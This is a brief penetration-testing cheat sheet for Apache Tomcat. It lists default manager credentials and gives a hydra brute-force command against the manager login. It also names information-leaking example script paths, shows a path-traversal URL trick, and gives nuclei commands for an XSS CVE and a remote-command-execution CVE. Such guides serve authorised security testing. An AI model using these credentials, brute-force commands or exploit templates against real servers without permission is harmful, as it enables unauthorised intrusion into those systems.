Apache Tomcat

Apache Tomcat exploit and Pentesting guide for penetration tester

Default credentials

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic HTTP auth, the most common credentials are:

admin:admin
tomcat:tomcat
admin:<NOTHING>
admin:s3cr3t
tomcat:s3cr3t
admin:tomcat

Bruteforce

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

vulnerability

Example Scripts Information Leakage

The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.

/examples/jsp/num/numguess.jsp
/examples/jsp/dates/date.jsp
/examples/jsp/snp/snoop.jsp
/examples/jsp/error/error.html
/examples/jsp/sessions/carts.html
/examples/jsp/checkbox/check.html
/examples/jsp/colors/colors.html
/examples/jsp/cal/login.html
/examples/jsp/include/include.jsp
/examples/jsp/forward/forward.jsp
/examples/jsp/plugin/plugin.jsp
/examples/jsp/jsptoserv/jsptoservlet.jsp
/examples/jsp/simpletag/foo.jsp
/examples/jsp/mail/sendmail.jsp
/examples/servlet/HelloWorldExample
/examples/servlet/RequestInfoExample
/examples/servlet/RequestHeaderExample
/examples/servlet/RequestParamExample
/examples/servlet/CookieExample
/examples/servlet/JndiServlet
/examples/servlet/SessionExample
/tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal (..;/)

http://www.vulnerable.com/;param=value/manager/html

Apache Tomcat Snoop Servlet Remote Information Disclosure

https://target:ip/examples/jsp/snp/snoop.jsp

Apache Tomcat - Cross-Site Scripting

nuclei -u target  -t CVE-2019-0221.yaml

Apache Tomcat Remote Command Execution

nuclei -u target  -t CVE-2020-9484.yaml

tomcat scanning tools

sudo python3 -m pip install apachetomcatscanner
apachetomcatscanner -tt target_ip -tp port    --no-check-certificate

refrences

• scan for Apache Tomcat
• Apache Tomcat Example Scripts